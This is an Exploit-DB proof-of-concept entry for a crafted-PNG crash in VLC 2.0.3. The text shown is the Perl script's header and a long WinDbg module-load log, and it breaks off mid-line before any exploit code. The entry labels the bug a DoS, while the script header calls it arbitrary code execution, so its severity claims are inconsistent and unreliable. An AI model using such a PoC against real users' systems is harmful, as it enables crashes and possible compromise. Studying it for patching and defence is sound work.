Exploit-DB #21889
Description: VideoLAN VLC Media Player 2.0.3 - '.png' ReadAV Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-11
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl
 
# VLC Player 2.0.3 <= ReadAV Arbitrary Code Execution
 
# Author: Jean Pascal Pereira <pereira@secbiz.de>
 
# Vendor URI: http://www.videolan.org/vlc/
 
# Vendor Description:
# VLC is a free and open source cross-platform multimedia player
# and framework that plays most multimedia files as well as DVD,
# Audio CD, VCD, and various streaming protocols. 

# Debug Info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: "C:\Program Files\VideoLAN\VLC\vlc.exe" C:\research\VLC\crafted.png
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: [PII_REDACTED]   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 6a300000 6a322000   C:\Program Files\VideoLAN\VLC\libvlc.dll
# ModLoad: 6a540000 6a775000   C:\Program Files\VideoLAN\VLC\libvlccore.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.DLL
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.DLL
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.DLL
# ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.DLL
# ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 76bf0000 76bfb000   C:\WINDOWS\system32\PSAPI.DLL
# ModLoad: 3d930000 3da16000   C:\WINDOWS\system32\WININET.DLL
# ModLoad: 003f0000 003f9000   C:\WINDOWS\system32\Normaliz.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\urlmon.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
# ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
# (950.5c0): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 64fc0000 64ffb000   C:\Program Files\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
# ModLoad: 6b240000 6b253000   C:\Program Files\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
# ModLoad: 6e980000 6e992000   C:\Program Files\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
# ModLoad: 6d680000 6d698000   C:\Program Files\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
# ModLoad: 6c400000 6c443000   C:\Program Files\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
# ModLoad: 68[PII_REDACTED]d000   C:\Program Files\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
# ModLoad: 6f440000 6f485000   C:\Program Files\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
# ModLoad: 6b840000 6b852000   C:\Program Files\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
# ModLoad: 6f100000 6f111000   C:\Program Files\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
# ModLoad: 63a80000 63af3000   C:\Program Files\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
# ModLoad: 00f00000 00fb7000   C:\Program Files\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
# ModLoad: 69e40000 69e50000   C:\Program Files\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
# ModLoad: 6ae40000 6ae5b000   C:\Program Files\VideoLAN\VLC\plugins\access\libzip_plugin.dll
# ModLoad: 64ac0000 64acf000   C:\Program Files\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
# ModLoad: 6cd00000 6ce48000   C:\Program Files\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
# ModLoad: 625c0000 626f4000   C:\Program Files\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
# ModLoad: 6ff40000 6ff52000   C:\Program Files\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
# ModLoad: 6e180000 6e190000   C:\Program Files\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
# ModLoad: 6d6c0000 6d6f6000   C:\Program Files\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
# ModLoad: 6e040000 6e05c000   C:\Program Files\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
# ModLoad: 6c380000 6c391000   C:\Program Files\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
# ModLoad: 6ef40000 6ef51000   C:\Program Files\VideoLAN\VLC\plugins\demux\libes_plugin.dll
# ModLoad: 69[PII_REDACTED]d000   C:\Program Files\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
# ModLoad: 6c2c0000 6c2d0000   C:\Program Files\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
# ModLoad: 67e00000 67e10000   C:\Program Files\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
# ModLoad: 021f0000 022e3000   C:\Program Files\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
# ModLoad: 6bf40000 6bf5b000   C:\Program Files\VideoLAN\VLC\plugin